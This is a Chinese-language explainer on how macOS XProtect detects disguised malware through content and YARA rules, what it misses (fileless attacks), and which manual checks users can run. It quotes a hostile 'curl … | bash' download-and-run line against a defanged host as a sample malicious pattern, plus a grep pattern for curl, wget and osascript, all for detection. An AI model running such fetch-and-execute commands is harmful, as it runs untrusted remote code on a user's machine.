xprotect 不依据文件后缀判断，而是基于行为特征、代码签名和 yara 规则匹配内容；它可拦截伪装文件（如恶意 .pkg 或 .pdf），但无法检测无文件攻击；用户需辅以 xattr、strings 等命令人工核查。
xprotect 本身不以“文件类型”为判断依据，而是基于行为特征、代码签名和已知恶意模式做匹配。它不会因为一个文件后缀是 .pdf 或 .jpg 就默认放行，也不会单凭 .dmg 或 .pkg 就直接拦截——关键看文件内容是否匹配内置的 yara 规则。
识别逻辑：不看后缀，只看实质
XProtect 扫描的是文件的实际内容和结构，不是扩展名。比如：
- 一个伪装成 “macOS更新.pkg” 的文件，如果内部包含 AdLoad 类启动脚本（如调用 curl 下载远程 payload、写入 ~/Library/LaunchAgents/），XProtect 可能通过
XProtect_AdLoad_B_2等规则触发拦截； - 一个名为 “发票.pdf” 的文件，若实际是带恶意 JavaScript 的 PDF（利用漏洞执行 shell 命令），只要其嵌入的 payload 特征被收录（如特定 curl 指令组合、临时目录写入行为），也可能被识别；
- 而一个真正正常的 .scpt（AppleScript）文件，哪怕后缀看起来可疑，只要没触发任何 YARA 规则，XProtect 就不会干预。
常见伪装手法与 XProtect 的应对边界
黑产常用“改后缀+藏逻辑”绕过直觉判断，但 XProtect 的有效性取决于规则覆盖程度：
-
脚本类伪装（.sh / .scpt / .command）：XProtect 能识别部分已知恶意模板，例如含
curl -sL https://x[.]mal/xx.sh | bash模式的文本，或调用osascript -e 'do shell script'执行敏感命令的 AppleScript； -
归档包伪装（.dmg / .zip 内藏恶意 app）：XProtect 在挂载或解压后首次运行时扫描其中的可执行体（Mach-O 文件），若匹配如
XProtect_MACOS_PIRRIT_GEN等规则即阻断； - 无文件攻击（内存执行、/dev/fd/ 管道）：XProtect 无法检测，因为它不扫描运行时内存或匿名管道内容，这类攻击依赖用户手动执行命令，完全绕过文件级扫描。
你能做的补充识别动作
既然 XProtect 有盲区，日常需结合人工判断补位：
- 用
xattr -l 文件名查看下载来源标签，确认是否来自可疑域名（如 icloud-verify[.]xyz）； - 对可疑脚本，先用
xxd 文件名 | head -20或strings 文件名 | grep -i "curl\|wget\|osascript"快速扫行为线索； - 检查
~/Library/LaunchAgents/下是否有命名异常的 plist（如com.apple.softwareupdate.plist但非系统生成），这是 AdLoad 类常驻位置。
它不靠文件类型猜意图，靠代码特征做裁决。规则更新快，但永远追不上新变种——所以别信“看起来像什么”，要查“实际在做什么”。
